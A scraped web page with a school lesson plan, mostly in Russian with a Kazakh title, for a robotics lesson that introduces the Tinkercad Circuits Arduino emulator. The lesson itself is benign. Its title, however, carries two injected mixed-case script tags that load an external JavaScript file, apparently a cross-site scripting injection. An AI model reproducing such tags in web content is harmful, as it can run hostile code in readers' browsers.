Робототехника бойынша ашық сабақ роботты сызық бойымен қозғалысқа бағдарламалау<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

17.05.2023

ФИО педагога

Өтежан С.М

Дата

17.05.2023

Класс 

Количество присутствующих:

отсутствующих:

Тема урока

                                                                Платформа Tincercad

Цели обучения, которые достигаются на данном уроке (ссылка на учебную программу)

Для всех учащихся:  

 Получают информацию о платформе;

 Ознакамливаются с возможностями;

    Совершенствуют навык критического мышления, работая в группах и сотрудничая;

Цель урока

Дать информацию учащимся о  платформе, познакомить с его возможностями

Критерии успеха

Знают как пользоваться платформой Tincercad

Ход  урока

 

Этапы урока

Деятельность учителя

Деятельность обучающихся

Оценивание

Ресурсы

 

 

5 мин

 

 

 

 

 

 

5 мин

 

 

 

 

 

 

 

 

5 мин

 

 

 

Психологический настрой на урок.

Приветствие. Приветствие на трех языках.

Казахский, Русский, Английский.

 

Применения метода колесо фортуны:

Какие виды наброров по робототехнике вы знаете?

Знакома ли вам среда разработки Arduino?

 

Какие различия есть между Lego Mindstorms и Arduino. В чем заключается сложность построения моделей схем на Ардуино.

 

     Тинкеркад (Tinkercad Circuits Arduino) – бесплатный, удивительно простой и одновременно мощный эмулятор Arduino, с которого можно начинать обучение электронике и робототехнике. Он предоставляет очень удобную среду для написания своих проектов. Не нужно ничего покупать, ничего качать – все доступно онлайн. Единственное, что от вас потребуется – зарегистрироваться.

 

Физ-минутка для хорошего настроения.

 

Практическая работа

Практические задания, представленные на экране, должны выполнять разделившись на пары.

Настраиваются на положительный настрой урока.

 

Учащиеся отвечают на вопросы.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

https://ru.piliapp.com/random/wheel/

 

 

 

 

 

 

 

 

 

 

 

 

 

https://www.tinkercad.com/ 

Изучение нового материала

20 мин

Учитель показывает примитивную схему построения цепи, и ученики повторяют за ним используя ноутбуки.

 

Учащиеся повторяют и учатся. 

 

Словесная оценка учителя

Нетбуки

 

 

 

 

 

 

 

 Подведение итогов урока (5 мин)

 

 

 

Рефлексия.

С помощью стикеров ребята высказывают свои мнения по поводу проведенного урока.

 

Ученики показывают умение обосновывать свое понимание

 

Самооценивание

 

Рефлексивный лист, стикеры

Просмотров: 3542


Пікір қосу



Деректерді қолтаңбаға қосу